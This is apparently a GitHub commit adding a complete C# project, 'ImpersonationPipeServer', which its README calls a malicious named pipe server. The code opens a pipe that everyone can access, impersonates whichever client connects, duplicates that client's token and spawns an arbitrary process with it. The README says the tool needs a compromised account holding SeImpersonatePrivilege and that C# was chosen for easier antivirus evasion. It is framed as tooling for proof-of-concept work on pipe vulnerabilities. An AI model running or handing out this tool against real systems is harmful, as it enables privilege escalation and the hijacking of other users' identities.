-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
9 changed files
with
1,346 additions
and
0 deletions.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.Linq; | ||
using System.Runtime.InteropServices; | ||
using System.Text; | ||
using System.Threading.Tasks; | ||
|
||
namespace ImpersonationPipeServer | ||
{ | ||
internal class Debug | ||
{ | ||
|
||
public enum TOKEN_INFORMATION_CLASS | ||
{ | ||
TokenUser = 1, | ||
TokenGroups, | ||
TokenPrivileges, | ||
TokenOwner, | ||
TokenPrimaryGroup, | ||
TokenDefaultDacl, | ||
TokenSource, | ||
TokenType, | ||
TokenImpersonationLevel, | ||
TokenStatistics, | ||
TokenRestrictedSids, | ||
TokenSessionId, | ||
TokenGroupsAndPrivileges, | ||
TokenSessionReference, | ||
TokenSandBoxInert, | ||
TokenAuditPolicy, | ||
TokenOrigin | ||
} | ||
|
||
public struct TOKEN_USER | ||
{ | ||
public SID_AND_ATTRIBUTES User; | ||
} | ||
|
||
[StructLayout(LayoutKind.Sequential)] | ||
public struct SID_AND_ATTRIBUTES | ||
{ | ||
|
||
public IntPtr Sid; | ||
public int Attributes; | ||
} | ||
|
||
[DllImport("advapi32.dll", SetLastError = true)] | ||
public static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength, out uint ReturnLength); | ||
|
||
[DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)] | ||
public static extern bool ConvertSidToStringSid( | ||
IntPtr pSID, | ||
out IntPtr ptrSid); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,123 @@ | ||
//Adapted from https://csandker.io/2021/01/10/Offensive-Windows-IPC-1-NamedPipes.html#prerequisites | ||
|
||
using System; | ||
using System.Collections.Generic; | ||
using System.Linq; | ||
using System.Text; | ||
using System.Threading; | ||
using System.Threading.Tasks; | ||
using System.IO; | ||
using System.IO.Pipes; | ||
using System.Security.Principal; | ||
using System.Runtime.InteropServices; | ||
using System.Reflection.Metadata; | ||
using System.Security.Permissions; | ||
using System.ComponentModel; | ||
using static ImpersonationPipeServer.Native; | ||
using System.Security.AccessControl; | ||
using static ImpersonationPipeServer.Debug; | ||
|
||
namespace ImpersonationPipeServer | ||
{ | ||
internal class Functions | ||
{ | ||
public static void Initialisation(string[] args) | ||
{ | ||
string pipeName = args[0]; | ||
string name = @"\\.\pipe\" + pipeName; | ||
string targetExe = args[1]; | ||
|
||
|
||
Console.Write("\nStarting Server... "); | ||
IntPtr handle = IntPtr.Zero; | ||
name = @"\\.\pipe\" + pipeName; | ||
var SecurityAttribute = GetNullDacl(); | ||
handle = Native.CreateNamedPipe(name, 0x3, 0x4, 1, 2048, 2048, 0, SecurityAttribute); | ||
if (handle.ToInt32() == -1) | ||
{ | ||
throw new Win32Exception("Error creating named pipe " + name + " . Internal error: " + Marshal.GetLastWin32Error().ToString()); | ||
} | ||
Console.WriteLine("Started!"); | ||
|
||
Console.Write("Listening... "); | ||
bool connectedPipe = Native.ConnectNamedPipe(handle, IntPtr.Zero); | ||
Console.WriteLine("Connected!"); | ||
|
||
Console.Write("Impersonating... "); | ||
bool impersonated = Native.ImpersonateNamedPipeClient(handle); | ||
if (!impersonated) | ||
{ | ||
throw new Win32Exception("Error impersonating client. Internal error: " + Marshal.GetLastWin32Error().ToString()); | ||
} | ||
Console.WriteLine("Success!"); | ||
|
||
IntPtr hToken = IntPtr.Zero; | ||
bool success = Native.OpenThreadToken(Native.GetCurrentThread(), 0xF01FF, false, out hToken); | ||
if (!success) | ||
{ | ||
throw new Win32Exception("Error getting thread token. Internal error: " + Marshal.GetLastWin32Error().ToString()); | ||
} | ||
|
||
Console.Write("Reverting... "); | ||
success = Native.RevertToSelf(); | ||
if (!success) | ||
{ | ||
throw new Win32Exception("Error reverting to self. Internal error: " + Marshal.GetLastWin32Error().ToString()); | ||
} | ||
Console.WriteLine("Success!"); | ||
|
||
Console.WriteLine("Duplicating... "); | ||
IntPtr phNewToken = IntPtr.Zero; | ||
var SecurityAttribute2 = GetNullDacl(); | ||
success = Native.DuplicateTokenEx(hToken, 0xF01FF, SecurityAttribute2, Native.SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, Native.TOKEN_TYPE.TokenPrimary, out phNewToken); | ||
if (!success) | ||
{ | ||
throw new Win32Exception("Error duplicating token. Internal error: " + Marshal.GetLastWin32Error().ToString()); | ||
} | ||
|
||
uint outLen = 0; | ||
success = GetTokenInformation(phNewToken, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, outLen, out outLen); | ||
IntPtr TokenInformation = Marshal.AllocHGlobal(checked((int)(outLen))); | ||
success = GetTokenInformation(phNewToken, TOKEN_INFORMATION_CLASS.TokenUser, TokenInformation, outLen, out outLen); | ||
if (!success) | ||
{ | ||
throw new Win32Exception("Error checking token SID. Internal error: " + Marshal.GetLastWin32Error().ToString()); | ||
} | ||
Debug.TOKEN_USER TokenUser = (Debug.TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(Debug.TOKEN_USER)); | ||
IntPtr pstr = IntPtr.Zero; | ||
Boolean ok = Debug.ConvertSidToStringSid(TokenUser.User.Sid, out pstr); | ||
string sidstr = Marshal.PtrToStringAuto(pstr); | ||
Console.WriteLine(@"Found sid {0}", sidstr); | ||
|
||
Console.WriteLine("\nSpawning process..."); | ||
Native.STARTUPINFO startupInfo = new Native.STARTUPINFO(); | ||
Native.PROCESS_INFORMATION processInfo = new Native.PROCESS_INFORMATION(); | ||
startupInfo.cb = Marshal.SizeOf(startupInfo); | ||
success = CreateProcessWithTokenW(phNewToken, 0, null, targetExe, 0, IntPtr.Zero, null, ref startupInfo, out processInfo); | ||
if (!success) | ||
{ | ||
throw new Win32Exception("Error creating process. Internal error: " + Marshal.GetLastWin32Error().ToString()); | ||
} | ||
} | ||
|
||
public static SECURITY_ATTRIBUTES GetNullDacl() | ||
{ | ||
// Implemented from http://codemortem.blogspot.com/2006/01/creating-null-dacl-in-managed-code.html | ||
// Build NULL DACL (Allow everyone full access) | ||
RawSecurityDescriptor gsd = new RawSecurityDescriptor(ControlFlags.DiscretionaryAclPresent, null, null, null, null); | ||
|
||
// Construct SECURITY_ATTRIBUTES structure | ||
Native.SECURITY_ATTRIBUTES sa = new Native.SECURITY_ATTRIBUTES(); | ||
sa.nLength = Marshal.SizeOf(typeof(Native.SECURITY_ATTRIBUTES)); | ||
sa.bInheritHandle = 1; | ||
|
||
// Get binary form of the security descriptor and copy it into place | ||
byte[] desc = new byte[gsd.BinaryLength]; | ||
gsd.GetBinaryForm(desc, 0); | ||
sa.lpSecurityDescriptor = Marshal.AllocHGlobal(desc.Length); // This Alloc is Freed by the Disposer or Finalizer | ||
Marshal.Copy(desc, 0, sa.lpSecurityDescriptor, desc.Length); | ||
|
||
return sa; | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
<Project Sdk="Microsoft.NET.Sdk"> | ||
|
||
<PropertyGroup> | ||
<OutputType>Exe</OutputType> | ||
<TargetFramework>net6.0</TargetFramework> | ||
<ImplicitUsings>enable</ImplicitUsings> | ||
<Nullable>enable</Nullable> | ||
<AllowUnsafeBlocks>True</AllowUnsafeBlocks> | ||
<PlatformTarget>x64</PlatformTarget> | ||
<Platforms>AnyCPU;x64</Platforms> | ||
<ProduceReferenceAssembly>False</ProduceReferenceAssembly> | ||
</PropertyGroup> | ||
|
||
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,84 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.Linq; | ||
using System.Runtime.InteropServices; | ||
using System.Security.Permissions; | ||
using System.Text; | ||
using System.Threading.Tasks; | ||
|
||
namespace ImpersonationPipeServer | ||
{ | ||
internal class Native | ||
{ | ||
[StructLayout(LayoutKind.Sequential)] | ||
public class SECURITY_ATTRIBUTES | ||
{ | ||
public int nLength; | ||
public IntPtr lpSecurityDescriptor; | ||
public int bInheritHandle; | ||
} | ||
|
||
public enum TOKEN_TYPE | ||
{ | ||
TokenPrimary = 1, | ||
TokenImpersonation | ||
} | ||
|
||
public enum SECURITY_IMPERSONATION_LEVEL | ||
{ | ||
SecurityAnonymous, | ||
SecurityIdentification, | ||
SecurityImpersonation, | ||
SecurityDelegation | ||
} | ||
|
||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] | ||
public struct STARTUPINFO | ||
{ | ||
public Int32 cb; | ||
public IntPtr lpReserved; | ||
public string lpDesktop; | ||
public IntPtr lpTitle; | ||
public Int32 dwX; | ||
public Int32 dwY; | ||
public Int32 dwXSize; | ||
public Int32 dwYSize; | ||
public Int32 dwXCountChars; | ||
public Int32 dwYCountChars; | ||
public Int32 dwFillAttribute; | ||
public Int32 dwFlags; | ||
public Int16 wShowWindow; | ||
public Int16 cbReserved2; | ||
public IntPtr lpReserved2; | ||
public IntPtr hStdInput; | ||
public IntPtr hStdOutput; | ||
public IntPtr hStdError; | ||
} | ||
|
||
[StructLayout(LayoutKind.Sequential)] | ||
public struct PROCESS_INFORMATION | ||
{ | ||
public IntPtr hProcess; | ||
public IntPtr hThread; | ||
public int dwProcessId; | ||
public int dwThreadId; | ||
} | ||
|
||
[DllImport("kernel32.dll", SetLastError = true)] | ||
public static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, SECURITY_ATTRIBUTES lpSecurityAttributes); | ||
[DllImport("kernel32.dll", SetLastError = true)] | ||
public static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped); | ||
[DllImport("advapi32.dll")] | ||
public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe); | ||
[DllImport("advapi32.dll", SetLastError = true)] | ||
public static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle); | ||
[DllImport("kernel32.dll")] | ||
public static extern IntPtr GetCurrentThread(); | ||
[DllImport("advapi32.dll", SetLastError = true)] | ||
public static extern bool RevertToSelf(); | ||
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] | ||
public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, SECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, out IntPtr phNewToken); | ||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] | ||
public static extern bool CreateProcessWithTokenW(IntPtr hToken, UInt32 dwLogonFlags, string lpApplicationName, string lpCommandLine, UInt32 dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
// See https://aka.ms/new-console-template for more information | ||
using ImpersonationPipeServer; | ||
|
||
if (args.Length < 2) | ||
{ | ||
Console.WriteLine("Usage: server.exe {pipeName} {command}"); | ||
Console.WriteLine("Pipe name must not include //./pipe/"); | ||
} | ||
else | ||
{ | ||
Functions.Initialisation(args); | ||
} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
|
||
Microsoft Visual Studio Solution File, Format Version 12.00 | ||
# Visual Studio Version 17 | ||
VisualStudioVersion = 17.5.33516.290 | ||
MinimumVisualStudioVersion = 10.0.40219.1 | ||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ImpersonationPipeServer", "ImpersonationPipeServer\ImpersonationPipeServer.csproj", "{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}" | ||
EndProject | ||
Global | ||
GlobalSection(SolutionConfigurationPlatforms) = preSolution | ||
Debug|Any CPU = Debug|Any CPU | ||
Debug|x64 = Debug|x64 | ||
Release|Any CPU = Release|Any CPU | ||
Release|x64 = Release|x64 | ||
EndGlobalSection | ||
GlobalSection(ProjectConfigurationPlatforms) = postSolution | ||
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU | ||
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Debug|Any CPU.Build.0 = Debug|Any CPU | ||
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Debug|x64.ActiveCfg = Debug|x64 | ||
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Debug|x64.Build.0 = Debug|x64 | ||
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Release|Any CPU.ActiveCfg = Release|Any CPU | ||
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Release|Any CPU.Build.0 = Release|Any CPU | ||
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Release|x64.ActiveCfg = Release|x64 | ||
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Release|x64.Build.0 = Release|x64 | ||
EndGlobalSection | ||
GlobalSection(SolutionProperties) = preSolution | ||
HideSolutionNode = FALSE | ||
EndGlobalSection | ||
GlobalSection(ExtensibilityGlobals) = postSolution | ||
SolutionGuid = {0600BAFB-9D78-422F-8255-C775381C98DC} | ||
EndGlobalSection | ||
EndGlobal |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
# Pipe Client Impersonation Server | ||
|
||
This tool creates a malicious named pipe server that impersonates connecting clients and executes arbitrary commands under their security context. | ||
|
||
## Why? | ||
|
||
This tool was created to assist in the creation of PoCs for insecure `CreateFile` and `ReadFile`/`WriteFile` calls, as well as exploit `Named Pipe Instance Creation Race Condition` and `Superfluous Pipe Connectivity` vulnerabilities. | ||
|
||
C# was used for this implementation over C++ to allow easier customisation for AV evasion in INPT reviews. | ||
|
||
## Prerequisets | ||
|
||
Use of this tool requires access to a user with the `SeImpersonatePrivilege` privilege, such as a compromised service account. | ||
|
||
## Usage | ||
|
||
Run the server using the following command | ||
|
||
``` | ||
ImpersonationPipeServer.exe {pipeName} {command} | ||
``` | ||
|
||
|
Binary file not shown.